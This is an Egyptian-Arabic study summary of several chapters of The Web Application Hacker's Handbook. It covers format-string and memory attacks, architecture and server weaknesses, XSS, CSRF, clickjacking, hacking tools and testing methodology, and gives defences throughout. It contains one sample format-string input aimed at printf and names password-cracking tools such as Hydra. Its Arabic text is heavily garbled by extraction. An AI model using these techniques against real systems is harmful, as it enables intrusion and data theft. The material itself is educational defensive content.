‫أكي (زي ‪ long‬بدل ‪ )int‬ونضيف‬ ‫‪ ‬نستخدم أنواع بيانات بحجم ر‬
‫رشوط تحقق عل النتائج‪.‬‬

‫النص)‬
‫ي‬ ‫‪( Format String Attack .3‬هجوم التنسيق‬
‫الينامج يف التعامل مع‬
‫‪ ‬النوع ده من الهجمات بيستغل طريقة ر‬
‫النصوص‪ ،‬وخاصة لو بيستخدم دوال الطباعة زي ‪.printf‬‬
‫تشبيه‪:‬‬
‫‪ ‬تخيل إنت قاعد يف كافيه وبتطلب قهوة‪ ،‬لكن بدل ما تقول "عايز‬
‫الل يف‬
‫"هاتل قهوة مع كل ي‬
‫ي‬ ‫كتي"‪ ،‬بتقول للنادل‪:‬‬
‫قهوة بسكر ر‬
‫(الينامج) مش هيشيك ويفيض إنك مش بتضحك‬ ‫الكاشي"‪ .‬النادل ر‬
‫ر‬
‫عليه‪.‬‬
‫البمجة‪:‬‬‫يف ر‬
‫الميمج كتب حاجة زي‪:‬‬ ‫‪ ‬لو ر‬
‫‪;printf(userInput) ‬‬
‫والمهاجم كتب يف الـ ‪ userInput‬حاجة زي‪ .s %x %x %x% :‬ر‬
‫الينامج‬
‫هيبدأ يطبع محتويات من الذاكرة بدل النصوص!‬
‫إزاي نمنعها؟‬
‫الميمج يستخدم حاجات آمنة زي‪:‬‬
‫ر‬ ‫‪‬‬

‫‪;)userInput ,"s%"(printf ‬‬


‫شوية ثغرات تانية ممكن تواجهها‪:‬‬
‫‪ :Stack Overflow .1‬زي ‪ Buffer Overflow‬بس بيأثر عل‬
‫الينامج‪.‬‬
‫الل فيها تعليمات ر‬
‫"الـ‪ "Stack‬ي‬
‫الل‬ ‫‪ :Heap Overflow .2‬بيستهدف "الـ‪ "Heap‬ي‬
‫الل فيها البيانات ي‬
‫الينامج‪.‬‬‫بيتم تخصيصها أثناء تشغيل ر‬
‫‪ :Use-After-Free .3‬بيحصل لما المهاجم يستغل منطقة يف الذاكرة‬
‫الينامج حررها (‪ ،)Freed‬لكن المهاجم فضل‬‫اتخصصت وبعدين ر‬
‫يستخدمها‪.‬‬

‫طيب الحلول العامة للهجمات دي إيه؟ 🚧‬


‫‪ .1‬استخدام أدوات فحص الذاكرة‪:‬‬
‫الل‬
‫‪ ‬زي أدوات زي ‪ Valgrind‬أو ‪ AddressSanitizer‬ي‬
‫بتكشف لو فيه استغالل للذاكرة‪.‬‬
‫‪ .2‬تقنيات حماية‪:‬‬
‫)‪ :DEP (Data Execution Prevention‬تمنع تنفيذ‬ ‫‪‬‬

‫األكواد من مناطق معينة يف الذاكرة‪.‬‬


‫‪ASLR (Address Space Layout ‬‬
‫)‪ :Randomization‬ر‬
‫بتغي ترتيب مناطق الذاكرة كل مرة‬
‫التخمي‪.‬‬
‫ر‬ ‫لتصعب‬
‫البامج‪:‬‬
‫‪ .3‬تحديث ر‬ ‫ً ّ‬
‫خل برامجك محدثة عشان تسد الثغرات‪.‬‬ ‫‪ ‬دايما ي‬
‫مجي‪:‬‬
‫المب ر‬
‫‪ .4‬تدريب ر‬
‫الميمج الزم يعرف األخطاء دي ويتجنبها وهو بيكتب الكود‪.‬‬
‫ر‬ ‫‪‬‬

‫عش‪ :‬الهجوم عىل بنية التطبيقات ️🕵️♂‬ ‫الفصل السابع ر‬


‫بيرسح إزاي ممكن تستغل نقاط الضعف يف بنية‬ ‫الفصل ده ر‬
‫التطبيق (‪ .)Application Architecture‬المقصود هنا هو إن ر‬
‫اليامج‬
‫الحديثة بتتكون من طبقات (‪ ،)Tiers‬وكل طبقة ليها وظيفة محددة‪ ،‬زي‬
‫ما تكون مبن فيه أدوار وكل دور مسؤول عن حاجة‪.‬‬
‫باف المبن أو عل‬
‫أمن يف دور واحد‪ ،‬العيب ده ممكن يوقع ي‬ ‫لو فيه عيب ي‬
‫نرسح الموضوع بتفصيل وبلغة بسيطة‪:‬‬ ‫األقل يأثر عليه‪ .‬تعال ر‬
‫ً‬
‫ه الطبقات (‪)Tiers‬؟ 🏢‬ ‫ي‬ ‫إيه‬ ‫‪:‬‬‫أوال‬
‫‪ ‬معظم التطبيقات بتتكون من ثالث طبقات أساسية‪:‬‬
‫‪ .1‬طبقة العرض (‪ :)Presentation Layer‬دي الواجهة ي‬
‫الل‬
‫المستخدم بيشوفها‪.‬‬
‫‪ .2‬طبقة التطبيق (‪ :)Application Layer‬هنا المنطق‬
‫األساس والوظائف بتشتغل‪.‬‬
‫ي‬
‫‪ .3‬طبقة البيانات (‪ :)Data Layer‬هنا بتتحفظ البيانات زي‬
‫قواعد البيانات‪.‬‬

‫إيه المشكلة يف بنية الطبقات؟‬


‫انعدام الفصل ربي الطبقات (‪:)Inadequate Segregation‬‬ ‫‪.1‬‬

‫‪ ‬لو الطبقات مش مفصولة كويس‪ ،‬ممكن عيب يف واحدة يوقع‬


‫باف الطبقات‪.‬‬
‫ي‬
‫ّ‬
‫‪ ‬تخيل إنك عامل باب واحد بس للفيال كلها‪ ،‬لو السارق عدى‬
‫الباب ده‪ ،‬بق عنده وصول لكل األدوار!‬
‫‪ .2‬الثقة ربي الطبقات (‪:)Trust Relationships‬‬
‫‪ ‬الطبقات بتثق يف بعضها بشكل كامل‪ .‬ي‬
‫يعن لو طبقة التطبيق‬
‫قالت لطبقة البيانات‪" :‬هات كل الداتا"‪ ،‬طبقة البيانات مش‬
‫منطق أو ال‪.‬‬
‫ي‬ ‫بتشيك إذا كان الطلب ده‬
‫مشبكة (‪:)Shared Environment‬‬ ‫ر‬ ‫استغالل األخطاء يف بيئة‬ ‫‪.3‬‬

‫شغالي عل نفس الخادم‪ ،‬ممكن خطأ يف‬‫ر‬ ‫‪ ‬لو أكي من تطبيق‬


‫التان‪.‬‬
‫ي‬ ‫تطبيق يوقع‬
‫أمثلة للهجمات‪:‬‬
‫تخط الصالحيات ربي الطبقات‪:‬‬ ‫ي‬ ‫‪.1‬‬
‫‪ ‬المهاجم يستغل ضعف يف طبقة العرض عشان يوصل لطبقة‬
‫البيانات ر‬
‫مباشة‪.‬‬
‫مثال‪ :‬لو فيه ‪ SQL Injection‬يف طبقة التطبيق‪ ،‬المهاجم ممكن‬ ‫‪‬‬

‫يسحب كل البيانات‪.‬‬
‫‪ .2‬التنقل ربي الطبقات (‪:)Pivoting‬‬
‫لباف‬
‫‪ ‬يبدأ الهجوم من طبقة واحدة زي العرض‪ ،‬وبعدين يتنقل ي‬
‫الطبقات باستخدام العيوب الموجودة‪.‬‬
‫‪ .3‬الهجوم عىل بيئات السحابة (‪:)Cloud Environments‬‬
‫‪ ‬لو عندك تطبيق يف السحابة (‪ ،)Cloud‬ومستخدم واحد عمل‬
‫تطبيق فيه ثغرة‪ ،‬ممكن يوقع البنية بالكامل‪.‬‬

‫حماية بنية التطبيق ️🛡‬


‫‪ .1‬الفصل التام ربي الطبقات‪:‬‬
‫كل طبقة تبق مفصولة‪ ،‬وكل واحدة ليها صالحيات محدودة‬ ‫‪‬‬
‫ً‬
‫جدا‪.‬‬
‫مثال‪ :‬طبقة العرض مينفعش يكون ليها وصول ر‬
‫مباش لقواعد‬ ‫‪‬‬

‫البيانات‪.‬‬
‫‪ .2‬تقليل الثقة ربي الطبقات‪:‬‬
‫‪ ‬الطبقات الزم تشيك كل طلب بينها‪.‬‬
‫الل جايلها من طبقة‬‫‪ ‬مثال‪ :‬طبقة البيانات تتأكد إن الطلب ي‬
‫منطق ومسموح بيه‪.‬‬
‫ي‬ ‫التطبيق‬
‫ر‬
‫المشبكة‪:‬‬ ‫‪ .3‬الحماية داخل البيئة‬
‫لو التطبيقات عل خادم مشيك‪ ،‬كل تطبيق الزم يكون معزول‬ ‫‪‬‬

‫التان‪.‬‬
‫ي‬ ‫عن‬
‫مثال‪ :‬كل تطبيق يكون له حساب مستخدم خاص بيه يف نظام‬ ‫‪‬‬

‫التشغيل‪.‬‬
‫‪ .4‬تطبيق مبادئ الحماية المتعددة (‪:)Defense in Depth‬‬
‫التشفي‪ ،‬التحقق من المدخالت‪،‬‬
‫ر‬ ‫استخدم تقنيات متعددة زي‬ ‫‪‬‬

‫المستخدمي‪.‬‬
‫ر‬ ‫وتحديد صالحيات‬
‫خالصة‪:‬‬
‫الهجوم عل بنية التطبيق زي إنك تحاول توقع عمارة برصب دور واحد‪،‬‬
‫الباف‪.‬‬
‫بس لو العمارة معمولة كويس‪ ،‬حن لو وقعت دور مش هيأثر عل ي‬
‫عش‪ :‬الهجوم عىل خادم التطبيقات 🌐💥‬ ‫الفصل الثامن ر‬
‫المهاجمي ممكن يستغلوا خادم التطبيقات‬
‫ر‬ ‫الفصل ده بيتكلم عن إزاي‬
‫نفسه (‪ )Application Server‬للوصول للبيانات أو التحكم الكامل يف‬
‫التطبيق‪ .‬عشان نبسط الفكرة‪ ،‬تخيل خادم التطبيقات زي "بواب‬
‫نش الباب مفتوح أو ساب المفتاح يف الباب‪ ،‬أي حد‬‫العمارة"‪ ،‬لو البواب ي‬
‫الل هو عايزه! 😅‬
‫ممكن يدخل العمارة ويعمل ي‬
‫🧙‬‫ه المشاكل الرئيسية يف خادم التطبيقات؟‬‫ي‬ ‫‪ .1‬إيه‬
‫ر‬
‫االفباضية الضعيفة‪:‬‬ ‫أ) اإلعدادات‬
‫ً‬
‫بتيج بإعدادات افياضية ضعيفة جدا‪.‬‬
‫‪ ‬بعض الخوادم ر ي‬
‫مثال‪ :‬اسم المستخدم والباسورد االفي ر‬
‫اضيي زي ‪admin‬‬ ‫‪‬‬

‫متسيبي‪.‬‬
‫ر‬ ‫و‪ password‬لسه‬
‫اض القابل لالستغالل‪:‬‬ ‫ر‬
‫االفب‬ ‫ب) المحتوى‬
‫ي‬
‫بيج مع أدوات لالختبار أو عينات للوظائف ( ‪Test‬‬ ‫‪ ‬الخادم ر ي‬
‫‪ )Pages/Sample Pages‬زي صفحات تعرض معلومات حساسة‬
‫زي ‪.phpinfo.php‬‬
‫ج) الترصيحات الزائدة لبعض الوظائف‪:‬‬
‫‪ ‬بعض الخوادم بتسمح باستخدام طرق ‪ HTTP‬زي ‪ PUT‬أو‬
‫والل ممكن المهاجم يستغلها لتحميل ملفات خبيثة‪.‬‬ ‫‪ ،DELETE‬ي‬
‫"بروكس"‪:‬‬
‫ي‬ ‫د) الخادم ك‬
‫وكش‪،‬‬ ‫كي‬ ‫يشتغل‬ ‫إنه‬ ‫عد‬ ‫م‬ ‫‪ ‬ف بعض األحيان‪ ،‬الخادم بيكون ُ‬
‫ي‬ ‫ر‬ ‫ي‬
‫والمهاجم ممكن يستخدمه لشن هجمات عل أهداف تانية‪.‬‬

‫‪ .2‬أمثلة عملية عىل الهجمات ️🛠‬


‫أ) رفع الملفات الخبيثة باستخدام طريقة ‪:PUT‬‬
‫‪ ‬لو الخادم يسمح بـ ‪ ،PUT‬المهاجم يقدر يرفع ملف خبيث (زي‬
‫‪ )Backdoor‬ويشغله‪.‬‬
‫ب) استغالل وحدة ‪ JMX‬يف ‪:JBoss‬‬
‫دي وحدة إدارية يف خادم ‪ JBoss‬بتسمح بتحميل ملفات ‪WAR‬‬ ‫‪‬‬

‫الل ممكن تحتوي عل أبواب خلفية (‪.)Backdoors‬‬ ‫ة‪،‬‬ ‫ر‬


‫مباش‬
‫ي‬
‫التشفب وال ‪:Encoding‬‬
‫ر‬ ‫ج) ثغرات‬
‫‪ ‬بعض الخوادم مش بتتعامل صح مع البيانات المشفرة أو الرموز‬
‫الخاصة‪ .‬ده ممكن يؤدي الخياقات زي الوصول لملفات حساسة‬
‫خارج نطاق التطبيق‪.‬‬

‫نحم الخادم؟ ️🛡‬


‫ي‬ ‫‪ .3‬إزاي‬
‫أ) قفل الباب الصح!‪:‬‬
‫مستخدمي وباسوردات افياضية‪.‬‬
‫ر‬ ‫غي أي أسماء‬
‫‪ .1‬ر‬
‫اقفل أي صفحات أو وظائف افياضية زي ‪.phpinfo.php‬‬ ‫‪.2‬‬
‫ب) استخدم إعدادات صارمة‪:‬‬
‫الل مش محتاجها زي ‪ PUT‬و‪.DELETE‬‬ ‫‪ ‬عطل طرق ‪ HTTP‬ي‬
‫ج) عزل البيئة‪:‬‬
‫‪ ‬اعمل تشغيل للخادم يف بيئة معزولة (مثل ‪ )Docker‬عشان تقلل‬
‫التأثي يف حالة الهجوم‪.‬‬
‫ر‬
‫د) راقب النشاط‪:‬‬
‫‪ ‬استخدم أنظمة كشف االخياق (‪ )IDS‬عشان ترصد أي أنشطة‬
‫مشبوهة‪.‬‬

‫‪ .4‬الحماية مش بس كفاية! 🙅️♂‬


‫ً‬
‫دايما فكر يف إضافة طبقات حماية (‪ .)Defense-in-Depth‬لو‬ ‫‪‬‬

‫المهاجم عدى طبقة‪ ،‬الطبقات التانية هتصعب عليه المهمة‪.‬‬


‫عرس من كتاب " ‪The Web Application‬‬ ‫الفصل التاسع ر‬
‫ً‬
‫جدا بعنوان‪:‬‬ ‫‪ "Hacker’s Handbook‬بيخش عل موضوع مهم‬
‫"‪."Attacking Users: Exploiting Other People’s Trust‬‬
‫المستخدمي بدل ما تركز عل‬
‫ر‬ ‫هنا الكتاب بيتكلم عن هجمات تستهدف‬
‫التطبيق نفسه‪ .‬ي‬
‫يعن بدل ما المهاجم يحاول يبوظ الكود‪ ،‬هو بيستغل ثقة‬
‫معيني عشان يوصل لهدفه‪ .‬وده‬
‫ر‬ ‫المستخدم يف التطبيق أو يف أشخاص‬
‫الل بنسميه ‪.Client-Side Attacks‬‬ ‫ي‬
‫إيه فكرة الفصل ده؟‬
‫خطية‪:‬‬
‫ر‬ ‫الفكرة هنا بسيطة لكنها‬
‫المهاجم بيستغل أي حاجة المستخدم بيعملها وهو فاكر إنها آمنة‪ ،‬لكنه‬
‫يف الحقيقة بيتعرض الخياق أو استغالل‪.‬‬
‫محم‪ ،‬يبق كل‬‫ي‬ ‫التطبيق ممكن يكون شغال تمام‪ ،‬لكن لو المستخدم مش‬
‫الحماية دي مالهاش الزمة‪😮 .‬‬
‫الىل اتكلم عنها الفصل‪:‬‬‫أهم أنواع الهجمات ي‬
‫‪:Cross-Site Scripting (XSS) .1‬‬
‫إيه ده؟‪ :‬المهاجم يحقن كود ‪ JavaScript‬ضار داخل صفحة ويب‪.‬‬ ‫‪‬‬

‫لما المستخدم يفتح الصفحة‪ ،‬الكود يشتغل وكأن المستخدم هو‬


‫الل طلبه‪.‬‬‫ي‬
‫الكوكي‪ ،‬جمع البيانات‪ ،‬أو حن تشغيل أكواد عل‬
‫ر‬ ‫التأثب‪ :‬شقة‬
‫ر‬ ‫‪‬‬

‫جهاز المستخدم‪.‬‬
‫‪ ‬مثال‪ :‬لو موقع بيعرض تعليقات‪ ،‬والمهاجم كتب تعليق‬
‫يحتوي عل كود ‪ JavaScript‬ضار‪ .‬أي حد يفتح التعليق ده‪،‬‬
‫يقع يف الفخ‪.‬‬
‫‪:Cross-Site Request Forgery (CSRF) .2‬‬
‫‪ ‬إيه ده؟‪ :‬المهاجم بيخدع المستخدم إنه يعمل طلب لموقع ر‬
‫معي‬
‫تغيي اإلعدادات)‪.‬‬
‫غي ما يعرف (زي إرسال أموال أو ر‬
‫من ر‬
‫غي مرغوب فيها باسم المستخدم‪.‬‬ ‫التأثب‪ :‬تنفيذ عمليات ر‬
‫ر‬ ‫‪‬‬

‫‪ ‬مثال‪ :‬المهاجم يرسل لك لينك‪ ،‬ولما تضغط عليه‪ ،‬يبعث‬


‫يغي كلمة الرس‪.‬‬
‫الل انت مسجل فيه عشان ر‬ ‫طلب للموقع ي‬
‫‪:Clickjacking .3‬‬
‫‪ ‬إيه ده؟‪ :‬المستخدم بيضغط عل زر أو لينك وهو فاكر إنه حاجة‪،‬‬
‫لكنها يف الحقيقة حاجة تانية‪.‬‬
‫التأثب‪ :‬خداع المستخدم لتنفيذ أوامر زي الموافقة عل إذن‬
‫ر‬ ‫‪‬‬

‫خطي‪.‬‬
‫ر‬
‫متخق فوق‬
‫ي‬ ‫‪ ‬مثال‪ :‬صفحة بتعرض زر "إعجاب"‪ ،‬لكن الزر ده‬
‫زر "تحويل أموال"‪😅 .‬‬
‫‪:Content Spoofing .4‬‬
‫‪ ‬إيه ده؟‪ :‬المهاجم يعدل محتوى صفحة عشان يخدع المستخدم‪.‬‬
‫التأثب‪ :‬المستخدم يثق بمعلومات مزيفة‪.‬‬
‫ر‬ ‫‪‬‬
‫‪ ‬مثال‪ :‬صفحة تسجيل دخول مزيفة بتظهر وكأنها جزء من‬
‫الحقيق‪.‬‬
‫ي‬ ‫الموقع‬
‫‪:Malware Delivery .5‬‬
‫إيه ده؟‪ :‬المهاجم يستخدم الموقع إلرسال برامج ضارة لجهاز‬ ‫‪‬‬

‫المستخدم‪.‬‬
‫بفيوسات أو برامج تجسس‪.‬‬ ‫التأثب‪ :‬اإلصابة ر‬
‫ر‬ ‫‪‬‬

‫‪ ‬مثال‪ :‬تحميل ملف عل إنه "فاتورة ‪ ،"PDF‬لكنه رفيوس!‬


‫المستخدمي؟‬
‫ر‬ ‫نحم‬
‫ي‬ ‫إزاي‬
‫‪ .1‬حماية من ‪:XSS‬‬
‫تطهب المدخالت (‪.)Input Sanitization‬‬ ‫ر‬ ‫‪ ‬استخدم‬
‫الل بتتعرض يف الصفحات (‪.)Output Encoding‬‬ ‫‪ ‬شفر البيانات ي‬
‫‪ ‬فعل سياسات األمان زي )‪.Content Security Policy (CSP‬‬
‫‪ .2‬حماية من ‪:CSRF‬‬
‫ً‬
‫‪ ‬استخدم رموز ‪ CSRF Tokens‬عشان تتحقق إن الطلب فعال‬
‫جاي من المستخدم‪.‬‬
‫‪ ‬فعل التحقق من المرجع (‪.)Referrer Check‬‬
‫‪ .3‬حماية من ‪:Clickjacking‬‬
‫‪ ‬استخدم الهيدر ‪ X-Frame-Options‬عشان تمنع عرض موقعك‬
‫داخل إطارات (‪.)Frames‬‬
‫‪ ‬فعل نفس السياسات يف )‪.Content Security Policy (CSP‬‬
‫المستخدمي‪:‬‬
‫ر‬ ‫‪ .4‬توعية‬
‫للمستخدمي إزاي يتعرفوا عل الروابط المشبوهة‪.‬‬
‫ر‬ ‫‪ ‬وضح‬
‫الثنان‬
‫ي‬ ‫‪ ‬شجعهم عل استخدام كلمات مرور قوية وتفعيل التحقق‬
‫(‪.)FA2‬‬
‫للمبتدئي‪:‬‬
‫ر‬ ‫الخطوات العملية‬
‫‪ .1‬فهم األساسيات‪:‬‬
‫‪ ‬اقرأ عن كل نوع من الهجمات‪ ،‬وشوف أمثلة عملية عليه‪.‬‬
‫‪ ‬جرب بيئات تدريب زي ‪Damn Vulnerable ( DVWA‬‬
‫‪ )Web Application‬أو ‪.OWASP Juice Shop‬‬
‫‪ .2‬التجربة باألدوات‪:‬‬
‫‪ ‬جرب أدوات زي ‪ Burp Suite‬لتعديل الطلبات واكتشاف‬
‫الهجمات‪.‬‬
‫‪ ‬استخدم ‪ OWASP ZAP‬لفحص أمان التطبيقات‪.‬‬
‫‪ .3‬االستفادة من الموارد‪:‬‬
‫الل‬
‫‪ ‬اقرأ وثائق ‪ ،OWASP‬خاصة عن ‪ OWASP Top 10‬ي‬
‫أكي األخطاء الشائعة‪.‬‬
‫بتغىط ر‬
‫ي‬
‫ليه الفصل ده مهم؟‬
‫خطية عل األفراد‪ ،‬لكنها بتأثر‬
‫ر‬ ‫المستخدمي مش بس‬
‫ر‬ ‫ألن الهجمات عل‬
‫عل سمعة التطبيق‪ .‬لو المستخدم اتخدع وهو بيستخدم تطبيقك‪ً ،‬‬
‫غالبا‬
‫تان‪.‬‬
‫مش هيثق فيك ي‬
‫نصيحة شخصية‪ :‬لو عايز تتعمق أكي‪ ،‬ركز عل موضوع ‪ XSS‬و‬
‫الل ممكن تواجهها يف البداية‪.‬‬
‫‪ CSRF‬ألنهم أشهر وأخطر الهجمات ي‬
‫الل يخليك جامد! 🚀‬ ‫والتمرين المستمر هو ي‬
‫شنو هو الفصل ر‬
‫العشين؟‬
‫المحبف! 🧳✨‬ ‫ر‬ ‫ده بالبلدي كده شنطة الهكر‬
‫يعن‪ ،‬شوية أدوات خرافية تخليك تعرف تلعب عل تطبيقات الويب‬ ‫ي‬
‫وتكشف عيوبــها‪ ،‬كأنك كونل او تجوموري تعرفهم؟ يف عالم التقنية‪.‬‬
‫🧳️♂💻‬
‫األدوات األساسية؟ تعال شوف‪:‬‬
‫‪ .1‬المتصفح (‪:)Browser‬‬
‫الحكاية تبدأ من أبسط حاجة‪ ،‬متصفح زي كروم أو فايرفوكس‪ ،‬بس‬
‫الزم تضيف حاجات جامدة زي‪:‬‬
‫‪ :Firebug ‬يخليك تحلل أكواد الصفحة كأنك "كونل هو‬
‫اىل ربيوحها"‪🔍 .‬‬ ‫غي يف األماكن ي‬
‫اىل مبتحصلش ر‬ ‫بيحلل الجرايم ي‬
‫يعن تتحكم‬ ‫‪ :Tamper Data ‬أداة تعدل طلبات الـ ‪ ،HTTP‬ي‬
‫للسيفر! 🧳‬
‫ر‬ ‫الل ربيوح‬
‫يف ي‬
‫الكبب!‬
‫ر‬ ‫‪ – Burp Suite .2‬الغول‬
‫والسيفر‪.‬‬
‫ر‬ ‫تخيل نفسك ماسك إشارات المرور ربي المتصفح‬
‫‪ ‬تراقب‪ :‬كل كلمة وأكواد بتعدي من هنا لهناك‪.‬‬
‫تغي حاجة هناك‪ ،‬وتشوف التطبيق‬ ‫‪ ‬تعدل‪ :‬تحط حاجة هنا‪ ،‬ر‬
‫ينهار قدامك‪🔥😏 .‬‬
‫التكسب (‪:)Password Crackers‬‬ ‫ر‬ ‫‪ .3‬أدوات‬
‫عايز تفتح خزنة كلمات المرور؟ شغل‪:‬‬
‫‪ :Hydra ‬أشع من السوبر كار‪ ،‬بيجرب كلمات ش زي‬
‫الرشاش‪💨🚗 .‬‬
‫مساحات (‪:)Scanners‬‬ ‫‪َّ .4‬‬
‫طن" للتطبيقات وتشوف لو عندها مشاكل‪.‬‬ ‫برامج تعمل "مسح ر ي‬
‫الل هو خطف‬ ‫بتالف أخطاء زي ‪ SQL Injection‬أو ‪ XSS‬ي‬ ‫ي‬ ‫‪‬‬

‫البيانات‪💣😬 .‬‬
‫محبف؟‬ ‫تبق ر‬ ‫كيف ر‬
‫‪ ‬ابدأ بالبسيط‪:‬‬
‫ركز عل األدوات الخفيفة األول‪ .‬متصفح ‪ ،Burp Suite +‬دول‬
‫كفاية تبنيك‪💪 .‬‬
‫‪ ‬جرب براحتك‪:‬‬
‫جرب عل تطبيقات تدريبية (مش بيوت الناس 😂) علشان تفهم‬
‫غي مشاكل قانونية‪.‬‬
‫من ر‬
‫ذك‪:‬‬ ‫َ‬
‫‪ ‬ابق ي‬
‫الل بيكمل شغل األدوات‪.‬‬
‫ماتصدقش النتائج التلقائية‪ ،‬العقل هو ي‬
‫🧳✨‬
‫معلومة حلوة عىل الشي ع‪:‬‬
‫الل قلناها‪ ،‬أهم حاجة إنك تعرف ‪ HTTP‬كأنه لغتك‬ ‫يف كل األدوات ي‬
‫األم‪ .‬ده هو المفتاح السحري لكل األبواب‪🗝️ .‬‬
‫المخبق لتطبيقات الويب‬ ‫ر‬ ‫الفصل ‪ :21‬منهجية‬
‫يرسح خطوة بخطوة كيف يمكن للمخيق أن يتعامل مع‬ ‫هذا الفصل ر‬
‫كي عل كيفية‬ ‫تطبيقات الويب لتحليلها واكتشاف الثغرات األمنية‪ .‬فيه تر ر‬
‫بدءا من جمع المعلومات وحن‬ ‫اختبار الجوانب المختلفة للتطبيق‪ً ،‬‬
‫استغالل الثغرات المكتشفة‪.‬‬
‫أهم النقاط يف المنهجية‪:‬‬
‫‪ .1‬رسم خريطة محتوى التطبيق ( ‪Mapping Application‬‬
‫‪:)Content‬‬
‫المرن‪ :‬تصفح الموقع واكتشاف‬‫ي‬ ‫‪ ‬استكشاف المحتوى‬
‫الصفحات والمحتويات العامة‪.‬‬
‫‪ ‬البحث يف المصادر العامة‪ :‬مثل ‪ Google‬و‪ Shodan‬للعثور‬
‫غي معروف‪.‬‬ ‫مخق أو ر‬
‫ي‬ ‫عل محتوى‬
‫اض‪ :‬كالمجلدات والصفحات‬ ‫ر‬
‫االفب‬ ‫‪ ‬تحديد المحتوى‬
‫ي‬
‫اض عل‬‫الن تكون موجودة عادة بشكل افي ي‬ ‫االفياضية ي‬
‫السيفر【‪.†source】【8:2†source】8:0‬‬ ‫ر‬
‫‪ .2‬تحليل التطبيق (‪:)Analyzing the Application‬‬
‫الكوكي‪،‬‬
‫ر‬ ‫‪ ‬تحديد نقاط اإلدخال‪ :‬مثل الحقول يف النماذج‪،‬‬
‫وطلب الـ ‪.HTTP‬‬
‫اليمجة وإطارات‬ ‫‪ ‬فهم التقنيات المستخدمة‪ :‬اكتشاف لغات ر‬
‫العمل المستخدمة عل الخادم والعميل‪.‬‬
‫الن يمكن أن تكون‬ ‫‪ ‬رسم سطح الهجوم‪ :‬تحديد جميع األجزاء ي‬
‫عرضة للهجوم‪.‬‬
‫‪ .3‬اختبار الضوابط عىل جانب العميل ( ‪Testing Client-Side‬‬
‫‪:)Controls‬‬
‫للسيفر‪،‬‬
‫ر‬ ‫‪ ‬التأكد من أمان البيانات المرسلة من المتصفح‬
‫واختبار اإلضافات أو السكربتات المستخدمة‪.‬‬
‫‪ .4‬اختبار آليات المصادقة (‪:)Authentication Mechanisms‬‬
‫‪ ‬التحقق من قوة كلمات المرور وشية الحسابات‪.‬‬
‫‪ ‬البحث عن أي وسيلة لتجاوز آليات تسجيل الدخول‪.‬‬
‫‪ ‬اختبار اسيجاع الحساب وآليات التحقق‬
‫األخرى】‪.【source†8:9‬‬
‫‪ .5‬اختبار إدارة الجلسات (‪:)Session Management‬‬
‫غي‬‫‪ ‬تحليل الرموز المستخدمة يف إدارة الجلسات للتأكد من أنها ر‬
‫قابلة للتنبؤ‪.‬‬
‫الكوكي وطرق التخزين الخاصة‬
‫ر‬ ‫‪ ‬التحقق من أمان‬
‫بها】‪.【source†8:19‬‬
‫‪ .6‬البحث عن الثغرات المستندة إل اإلدخال ( ‪Input-Based‬‬
‫‪:)Vulnerabilities‬‬
‫‪ ‬اختبار الـ ‪ ،SQL Injection‬والـ ‪XSS (Cross-Site‬‬
‫غي‬ ‫الن تعتمد عل اإلدخال ر‬
‫وغيها من الثغرات ي‬
‫)‪ ،Scripting‬ر‬
‫الموثوق‪.‬‬
‫كيف تطبق هذه المنهجية؟‬
‫سء بالتطبيق‪.‬‬ ‫ر‬
‫‪ ‬ابدأ بالتخطيط‪ :‬ارسم خريطة لكل ي‬
‫‪ ‬استخدم األدوات‪ :‬مثل ‪ Burp Suite‬و‪ Nikto‬لجمع المعلومات‬
‫واختبار الثغرات‪.‬‬
‫حلل النتائج‪ :‬قم بمراجعة كل خطوة وتحليل الردود لتحديد األنماط‬ ‫‪‬‬

‫والثغرات‪.‬‬
‫ً‬
‫خلال‪ّ ،‬‬
‫جرب استغالله بطريقة‬ ‫اختب استغالل الثغرات‪ :‬إذا وجدت‬
‫ر‬ ‫‪‬‬

‫مسؤولة عل بيئة اختبارية‪.‬‬

‫وبس وكان هللا بالش عليما اشوف‬


‫بخب لو استفدت أي حاجه‬‫وشك ر‬
‫ياخ‬
‫ادعيىل اتجوز هللا يجوزك ي‬
‫ي‬

You might also like